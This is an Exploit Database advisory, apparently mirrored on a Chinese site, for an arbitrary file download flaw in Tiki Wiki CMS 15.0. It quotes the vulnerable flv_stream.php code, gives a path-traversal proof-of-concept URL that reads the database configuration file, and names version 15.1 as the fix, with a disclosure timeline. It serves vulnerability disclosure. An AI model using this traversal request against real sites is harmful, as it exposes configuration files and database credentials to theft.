Tiki Wiki CMS 15.0 – Arbitrary File Download

• Exploit Database
• 15 阅读

• 作者： Kacper Szurek
  日期： 2016-07-11
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/40080/

• # Exploit Title: Tiki Wiki CMS 15.0 Arbitrary File Download
  # Date: 11-07-2016
  # Software Link: https://tiki.org
  # Exploit Author: Kacper Szurek
  # Contact: http://twitter.com/KacperSzurek
  # Website: http://security.szurek.pl/
  # Category: webapps
   
  1. Description
  
  Using `flv_stream.php` file from `vendor` directory we can download any file.
  
  http://security.szurek.pl/tiki-wiki-cms-150-arbitrary-file-download.html
  
  File: tiki-15.0\vendor\player\flv\flv_stream.php
  
  <?php
  session_cache_limiter('nocache');
  header('Expires: Thu, 19 Nov 1981 08:52:00 GMT');
  header('Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0');
  header('Pragma: no-cache');
  
  $position = $_GET['position'];
  $filename = dirname(__FILE__).'/'.htmlspecialchars($_GET['file']);
  
  
  if (file_exists($filename)) {
  	header('Content-Type: video/x-flv');
  	if ($position != 0) {
  		echo 'FLV', pack('CCNN', 1, 1, 9, 9);
  	}
  	$file = fopen($filename, "rb");
  	fseek($file, $position);
  	while (!feof($file)) {
  		echo fread($file, 16384);
  	}
  	fclose($file);
  } else {
  	echo 'The file does not exist';
  }
  ?>
  
  2. Proof of Concept
  
  Example for downloading database configuration:
  
  http://tiki/vendor/player/flv/flv_stream.php?file=../../../db/local.php&position=0
  
  3. Solution:
   
  Update to version 15.1
  
  Timeline:
  
  01-06-2016: Discovered
  01-06-2016: Vendor notified
  08-06-2016: Version 15.1 released, issue resolved